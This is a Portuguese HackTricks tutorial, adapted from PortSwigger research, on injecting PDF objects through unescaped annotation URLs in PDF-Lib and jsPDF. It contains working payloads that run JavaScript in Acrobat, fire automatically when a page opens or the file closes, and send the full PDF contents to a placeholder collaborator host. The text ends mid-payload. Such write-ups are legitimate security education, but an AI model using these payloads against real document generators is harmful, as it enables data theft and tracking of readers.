hacktricks/pentesting-web/xss-cross-site-scripting/pdf-injection.md

13 KiB

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Se a sua entrada está sendo refletida dentro de um arquivo PDF, você pode tentar injetar dados PDF para executar JavaScript ou roubar o conteúdo do PDF.

As seguintes informações foram retiradas de https://portswigger.net/research/portable-data-exfiltration

PDF-Lib

Desta vez, eu estava usando PDFLib. Dediquei algum tempo para usar a biblioteca para criar uma anotação e ver se eu poderia injetar um parêntese de fechamento na URI da anotação - e funcionou! O código vulnerável de exemplo que usei para gerar o código da anotação foi:

...
A: {
Type: 'Action',
S: 'URI',
URI: PDFString.of(`injection)`),
}
})
...

Código completo:

Como eu sabia que a injeção foi bem-sucedida? O PDF renderizaria corretamente a menos que eu injetasse um parêntese de fechamento. Isso provou que o parêntese de fechamento estava quebrando o limite do texto e causando código PDF inválido. Quebrar o PDF foi bom, mas eu precisava garantir que eu pudesse executar JavaScript, é claro. Eu olhei para o código PDF renderizado e notei que a saída estava sendo codificada usando o filtro FlateDecode. Eu escrevi um pequeno script para desinflar o bloco e a saída da seção de anotação parecia assim:<<
/Type /Annot
/Subtype /Link
/Rect [ 50 746.89 320 711.89 ]
/Border [ 0 0 2 ]
/C [ 0 0 1 ]
/A <<
/Type /Action
/S /URI
/URI (injection))
>>
>>

Como você pode ver claramente, a string de injeção está fechando o limite do texto com um parêntese de fechamento, o que deixa um parêntese de fechamento existente que faz com que o PDF seja renderizado incorretamente:

Captura de tela mostrando um diálogo de erro ao carregar o PDF

Ótimo, então eu poderia quebrar a renderização do PDF, e agora? Eu precisava criar uma injeção que chamasse algum JavaScript - o alert(1) da injeção de PDF.

Assim como os vetores de XSS dependem do parsing do navegador, a explorabilidade da injeção de PDF pode depender do renderizador de PDF. Eu decidi começar pelo Acrobat porque pensei que os vetores seriam menos propensos a funcionar no Chrome. Duas coisas que notei: 1) Você poderia injetar ações de anotação adicionais e 2) se você reparar o parêntese de fechamento existente, então o PDF renderizaria. Após algumas experimentações, eu criei uma carga útil agradável que injetou uma ação de anotação adicional, executou JavaScript e reparou o parêntese de fechamento:/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(

Primeiro eu saio do parêntese, depois saio do dicionário usando >> antes de começar um novo dicionário de anotação. O /S/JavaScript faz a anotação baseada em JavaScript e o /JS é onde o JavaScript é armazenado. Dentro dos parênteses está nosso JavaScript real. Note que você não precisa escapar os parênteses se eles estiverem balanceados. Finalmente, eu adiciono o tipo de anotação, termino o dicionário e reparo o parêntese de fechamento. Isso foi tão legal; eu poderia criar uma injeção que executasse JavaScript, mas e daí, certo? Você pode executar JavaScript, mas você não tem acesso ao DOM, então você não pode ler cookies. Então James apareceu e sugeriu roubar o conteúdo do PDF a partir da injeção. Eu comecei a olhar maneiras de obter o conteúdo de um PDF. No Acrobat, descobri que você pode usar JavaScript para enviar formulários sem qualquer interação do usuário! Olhando para a especificação da API JavaScript, foi bastante simples modificar a injeção base e adicionar um pouco de JavaScript que enviaria todo o conteúdo do código PDF para um servidor externo em uma requisição POST:/blah)>>/A<</S/JavaScript/JS(app.alert(1);
this.submitForm({
cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))
/Type/Action>>/>>(

O alerta não é necessário; eu apenas o adicionei para provar que a injeção estava executando JavaScript.

Em seguida, apenas por diversão, eu olhei para roubar o conteúdo do PDF sem usar JavaScript. Da especificação do PDF, descobri que você pode usar uma ação chamada SubmitForm. Eu usei isso no passado quando construí um PDF para uma verificação de varredura no Burp Suite. Ele faz exatamente o que o nome implica. Ele também tem uma entrada Flags no dicionário para controlar o que é enviado. A chave do dicionário Flags aceita um único valor inteiro, mas cada configuração individual é controlada por um bit binário. Uma boa maneira de trabalhar com essas configurações é usando os novos literais binários em ES6. O literal binário deve ter 14 bits de comprimento porque há 14 flags no total. No exemplo a seguir, todas as configurações estão desativadas:0b00000000000000

Para definir uma flag, você primeiro precisa olhar para a sua posição de bit (tabela 237 da especificação do PDF). Neste caso, queremos definir a flag SubmitPDF. Como isso é controlado pelo 9º bit, você só precisa contar 9 bits da direita:0b00000100000000

Se você avaliar isso com JavaScript, isso resulta no valor decimal 256. Em outras palavras, definir a entrada Flags para 256 habilitará a flag SubmitPDF, o que faz com que o conteúdo do PDF seja enviado ao enviar o formulário. Tudo o que precisamos fazer é usar a injeção base que criamos anteriormente e modificá-la para chamar a ação SubmitForm em vez de JavaScript:/blah)>>/A<</S/SubmitForm/Flags 256/F(
https://your-id.burpcollaborator.net)
/Type/Action>>/>>(

sPDF

Em seguida, apliquei minha metodologia a outra biblioteca PDF - jsPDF - e descobri que ela também era vulnerável. Explorar esta biblioteca foi bastante divertido porque eles têm uma API que pode ser executada no navegador e permitirá que você gere o PDF em tempo real enquanto digita. Notei que, como a biblioteca PDP-Lib, eles esqueceram de escapar parênteses dentro das URLs de anotação. Aqui a propriedade url estava vulnerável:doc.createAnnotation({bounds:
{x:0,y:10,w:200,h:200},
type:'link',url:`/input`});
//vulnerável

Então eu gerei um PDF usando sua API e injetei código PDF na propriedade url:

var doc = new jsPDF();
doc.text(20, 20, 'Hello world!');
doc.addPage('a6','l');
doc.createAnnotation({bounds:
{x:0,y:10,w:200,h:200},type:'link',url:`
/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action/F 0/(
`});

Eu reduzi o vetor removendo as entradas de tipo do dicionário e a entrada F desnecessária. Depois, deixei um parêntese pendente que seria fechado pelo existente. Reduzir o tamanho da injeção é importante porque a aplicação web que você está injetando pode permitir apenas uma quantidade limitada de caracteres./blah)>>/A<</S/JavaScript/JS(app.alert(1)

Depois, descobri que era possível reduzir ainda mais o vetor! O Acrobat permitiria uma entrada URI e uma entrada JavaScript dentro de uma única ação de anotação e executaria felizmente o JavaScript:/)/S/JavaScript/JS(app.alert(1)

Pesquisas adicionais revelaram que você também pode injetar múltiplas anotações. Isso significa que, em vez de apenas injetar uma ação, você poderia sair da anotação e definir suas próprias coordenadas de retângulo para escolher qual seção do documento seria clicável. Usando essa técnica, consegui fazer com que todo o documento fosse clicável. /) >> >>
<</Type /Annot /Subtype /Link /Rect [0.00 813.54 566.93 -298.27] /Border [0 0
0] /A <</S/SubmitForm/Flags 0/F(https://your-id.burpcollaborator.net

Executando anotações sem interação

Até agora, os vetores que demonstrei requerem um clique para ativar a ação da anotação. Tipicamente, James fez a pergunta "Podemos executar automaticamente?". Eu olhei através da especificação do PDF e notei algumas características interessantes das anotações:

"As entradas PV e PI permitem uma distinção entre páginas que estão abertas e páginas que são visíveis. A qualquer momento, apenas uma única página é considerada aberta no aplicativo visualizador, enquanto mais de uma página pode ser visível, dependendo do layout da página."

Podemos adicionar a entrada PV ao dicionário e a anotação será disparada automaticamente no Acrobat! Não só isso, mas também podemos executar uma carga útil automaticamente quando o documento PDF é fechado usando a entrada PC. Um atacante poderia rastrear quando você abre o PDF e o fecha.

Aqui está como executar automaticamente a partir de uma anotação:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/)
>> >>
<</Subtype /Screen /Rect [0 0 900 900] /AA <</PV <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Auto execute');

Quando você fecha o PDF, esta anotação será disparada:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>
<</Subtype /Screen /Rect [0 0 900 900] /AA <</PC <</S/JavaScript/JS(app.alert(1))>>/(`});
doc.text(20, 20, 'Close me');

Chrome

Eu falei muito sobre o Acrobat, mas e sobre o PDFium (leitor de PDF do Chrome)? O Chrome é complicado; a superfície de ataque é muito menor, pois seu suporte a JavaScript é mais limitado do que o do Acrobat. A primeira coisa que notei foi que o JavaScript não estava sendo executado em anotações, então meus conceitos de prova não estavam funcionando. Para fazer os vetores funcionarem no Chrome, eu precisava pelo menos executar JavaScript dentro das anotações. Primeiro, porém, decidi tentar sobrescrever uma URL em uma anotação. Isso foi bastante fácil. Eu poderia usar a injeção base que criei antes e simplesmente injetar outra ação com uma entrada URI que sobrescreveria a URL existente:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<</S/URI/URI(https://portswigger.net)
/Type/Action>>/F 0>>(`});
doc.text(20, 20, 'Test text');

Isso navegaria para portswigger.net quando clicado. Então eu continuei e tentei diferentes injeções para chamar JavaScript, mas isso falharia todas as vezes. Eu pensei que era impossível fazer. Eu dei um passo atrás e tentei construir manualmente um PDF inteiro que chamaria JavaScript a partir de um clique no Chrome sem uma injeção. Ao usar um botão AcroForm, o Chrome permitiria a execução de JavaScript, mas o problema era que ele exigia referências a partes do PDF. Eu consegui criar uma injeção que executaria JavaScript a partir de um clique no JSPDF:var doc = new jsPDF();
doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.825 0.8275 0.8275]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1))/Type/Action/F 4/DA(blah`});
doc.text(20, 20, 'Click me test');

Como você pode ver, o vetor acima requer conhecimento da estrutura do PDF. [ 3 0 R] refere-se a um objeto PDF específico e se estivéssemos fazendo um ataque cego de injeção de PDF, não saberíamos a estrutura dele. Ainda assim, a próxima etapa é tentar uma submissão de formulário. Podemos usar a função submitForm para isso, e como a anotação requer um clique, o Chrome permitirá:/) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0.0 813.54 566.93 -298.27]/CA(Submit)>>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<</N <</Type/XObject/BBox[ 0 0 72 21.6]/Subtype/Form>>>>/Parent <</Kids[ 3 0 R]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(app.alert(1);this.submitForm('https://your-id.burpcollaborator.net'))/Type/Action/F 4/DA(blah

Isso funciona, mas é confuso e requer conhecimento da estrutura do PDF. Podemos reduzi-lo muito e remover a dependência da estrutura do PDF:#) >> >> <</BS<</S/B/W 0>>/Type/Annot/MK<</BG[ 0 0 889 792]/CA(Submit)>>/Rect [ 0 0 889 792]/Subtype/Widget/AP<</N <</Type/XObject/Subtype/Form>>>>/Parent <</Kids[ ]/Ff 65536/FT/Btn/T(test)>>/H/P/A<</S/JavaScript/JS(
app.alert(1)
`)/Type/Action/F 4/DA